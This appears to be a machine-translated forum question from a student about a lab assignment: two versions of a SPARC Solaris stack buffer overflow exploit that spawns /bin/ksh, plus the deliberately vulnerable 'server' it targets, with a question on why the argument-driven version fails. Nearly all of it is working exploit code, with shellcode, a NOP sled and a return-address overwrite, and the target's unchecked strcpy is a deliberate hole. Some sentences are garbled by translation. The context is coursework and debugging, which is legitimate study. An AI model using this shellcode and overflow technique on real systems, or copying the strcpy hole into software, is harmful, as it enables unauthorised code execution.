Недавно я закончил проект, в котором я должен был написать программу, чтобы «атаковать» сервер SUN Sparc и вызывать переполнение буфера. Цель состояла в том, чтобы запустить/bin/ksh изнутри работающего «сервера», в основном.Почему одна из этих программ работает, когда другая не работает?
В конце концов я получил его работу, но, по-моему, это была глупая причина: это не сработало, когда пользователь вводил значения буфера и смещения в качестве аргументов, но работал, когда значения были жестко закодированы.
Вот «жесткая» программа:
#include <stdlib.h>
#include <stdio.h>
/* lsd - Solaris shellcode
*/
static char shell[]= /* 10*4+8 bytes */
"\x20\xbf\xff\xff" /* bn,a */
"\x20\xbf\xff\xff" /* bn,a */
"\x7f\xff\xff\xff" /* call */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0x0b,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh" ;
#define BUFSIZE 864
/* SPARC NOP
*/
static char np[] = "\xac\x15\xa1\x6e";
unsigned long get_sp(void) {
asm("or %sp,%sp,%i0");
}
main(int argc, char *argv[]) {
char buf[ BUFSIZE ],*ptr;
unsigned long ret,sp;
int rem,i,err;
ret = sp = get_sp();
if(argv[1]) {
ret -= strtoul(argv[1], (void *)0, 16);
}
/* align return address: IMPORTANT to be multiple of 8!! */
if((rem = ret % 8)) {
ret &= ~(rem);
}
bzero(buf, BUFSIZE);
for(i = 0; i < BUFSIZE; i+=4) {
strcpy(&buf[i], np);
}
memcpy((buf + BUFSIZE - strlen(shell) - 8),shell,strlen(shell));
ptr = &buf[856];
/* set fp to a save stack value
*/
*(ptr++) = (sp >> 24) & 0xff;
*(ptr++) = (sp >> 16) & 0xff;
*(ptr++) = (sp >> 8) & 0xff;
*(ptr++) = (sp) & 0xff;
/* we now overwrite saved PC
*/
*(ptr++) = (ret >> 24) & 0xff;
*(ptr++) = (ret >> 16) & 0xff;
*(ptr++) = (ret >> 8) & 0xff;
*(ptr++) = (ret) & 0xff;
buf[ BUFSIZE ] = 0;
#ifndef QUIET
printf("Return Address 0x%x\n",ret);
printf("Start overflowing server program\n");
printf("Then a program such as shell can be executed after server program is over\n");
#endif
err = execl("./server1", "server1", buf, (void *)0);
if(err == -1) perror("execl");
}
А вот «гибкая» версия:
#include <stdlib.h>
#include <stdio.h>
/* lsd - Solaris shellcode
*/
static char shell[]= /* 10*4+8 bytes */
"\x20\xbf\xff\xff" /* bn,a */
"\x20\xbf\xff\xff" /* bn,a */
"\x7f\xff\xff\xff" /* call */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0x0b,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh" ;
static int BUFSIZE;
static int OFFSET;
/* SPARC NOP
*/
static char np[] = "\xac\x15\xa1\x6e";
unsigned long get_sp(void) {
asm("or %sp,%sp,%i0");
}
main(int argc, char *argv[]) {
BUFSIZE = atoi(argv[1]);
OFFSET = atoi(argv[2]);
char buf[ BUFSIZE ],*ptr;
unsigned long ret,sp;
int rem,i,err;
ret = sp = get_sp();
if(argv[1]) {
ret -= strtoul(argv[1], (void *)0, 16);
}
/* align return address: IMPORTANT to be multiple of 8!! */
if((rem = ret % 8)) {
ret &= ~(rem);
}
bzero(buf, BUFSIZE);
for(i = 0; i < BUFSIZE; i+=4) {
strcpy(&buf[i], np);
}
memcpy((buf + BUFSIZE - strlen(shell) - 8),shell,strlen(shell));
ptr = &buf[OFFSET];
/* set fp to a save stack value
*/
*(ptr++) = (sp >> 24) & 0xff;
*(ptr++) = (sp >> 16) & 0xff;
*(ptr++) = (sp >> 8) & 0xff;
*(ptr++) = (sp) & 0xff;
/* we now overwrite saved PC
*/
*(ptr++) = (ret >> 24) & 0xff;
*(ptr++) = (ret >> 16) & 0xff;
*(ptr++) = (ret >> 8) & 0xff;
*(ptr++) = (ret) & 0xff;
buf[ BUFSIZE ] = 0;
#ifndef QUIET
printf("Return Address 0x%x\n",ret);
printf("Start overflowing server program\n");
printf("Then a program such as shell can be executed after server program is over\n");
#endif
err = execl("./server1", "server1", buf, (void *)0);
if(err == -1) perror("execl");
}
Обратите внимание, как только разница в том, что я объявляю BUFSIZE и OFFSET, не определяя их, то установите их в основном.
Для потомков, вот "сервер" Я нападая:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void copy1(const char *a){
char buf[800];
int i, j, k;
printf("Inside COPY\n");
strcpy(buf,a);
}
void Doing_nothing() {
int i, a[200];
printf("Inside Doing_nothing\n");
for (i=0; i < 100; i++)
a[i] =2;
}
void main(int argc, char *argv[]) {
printf("\n *********************************\n");
printf("This is a newly developed WEB server. \n");
printf(" ****************************************\n") ;
printf(" ******The web server is executing*******\n") ;
printf(" ****************************************\n") ;
if (argc >=2) {
Doing_nothing();
copy1(argv[1]);
}
}
Все они составлены на моем Oracle Solaris 10 SPARC машины 9/10 s10s_u9wos_14a.
Мой вопрос:
Почему гибкая программа не работает только потому, что я сделать BUFSIZE и OFFSET аргументы командной строки?
Я так зол на себя за то, что не хватаю, вы, ребята, не» я даже знаю. Проблема только в том, что она по-прежнему не работает должным образом. – BigDamnHero